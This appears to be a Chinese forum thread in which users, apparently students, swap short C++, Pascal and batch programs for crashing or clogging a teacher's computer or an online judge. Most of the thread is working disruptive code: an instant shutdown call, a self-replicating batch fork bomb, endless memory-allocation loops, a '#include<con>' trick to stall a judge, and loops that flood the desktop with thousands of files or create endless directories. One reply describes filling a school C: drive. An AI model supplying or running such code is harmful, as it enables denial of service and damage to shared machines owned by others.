现在小孩都这样

这玩意你们老师会的话一个结束进程就完事了= =，编这种东西要不用bat，要不用vbs挂起所有程序，或者更高级一点的编程= =，或者用pascal的拓展功能，还有什么delphi、lazarus你可以试试

C++够了：
关机程序：
#include<cstdlib>
using namespace std;
int main(){
system("shutdown -s -t 0");
return 0;
}
瞬时关机程序
卡评测机程序（就一行！）：
#include<con>
PS:所造成后果本人概不承担

type
a=^b;
b=^a;
var
c:a;
begin
while true do
new(c)
end.

记事本 输入
@start %0
@%0
另存为 改后缀为bat，运行 过一会 保证死机蓝屏

:a
start %0
goto a;

楼主要Pascal吧。
while true do
writeln('兰州烧饼');

var
a,b,c,i:integer;
begin
readln(a);
while a=0 do
begin
b:=a;
c:=b;
end;
writeln(c);
end.

uses windows;
begin
while true do
messagebox('水神来也~~~');
end.

这样其实没有用，死循环用ctrl+pause break就可以直接退出来

C++
#include<con>
就一句话windows的话就差不多了...

呜呜呜

var
a,b:^int64;
beign
randomize;
repeat
new(a);
new(b);
until random(1000)=1002;
end.

可以采用物理攻击，就是用脚攻击你老师的主机让它形变。。。。。。

program chen;
var t:string[3];
　f2:text;
i:word;
begin
for i:=0 to 9999 do
begin
str(i,t);
assign(f2,'C:\Documents and Settings\All Users\桌面\hahaha'+t+'.txt');
rewrite(f2);
writeln(f2,'233333333333333333333');
close(f2);
end;
end.
//打爆他的桌面

uses crt;
Var
{懒得打了}
Begin
For I:=1 to maxlongint do
Begin
Str(I,s);
Mkdir(s);
End;
End.

卡机全攻略贴?

实话我卡过学校电脑不过最高速度才一秒0.2GB够慢，约两分半才卡死c盘

不要这么做。。。
金钱诚可贵，节操价更高。
但若为人品，两者皆可抛。
begin
while true do
writeln('rp+++');
write('rp---');
end.
结果是rp---
......

begin
repeat
writeln(chr(7));
until 0=1;
end.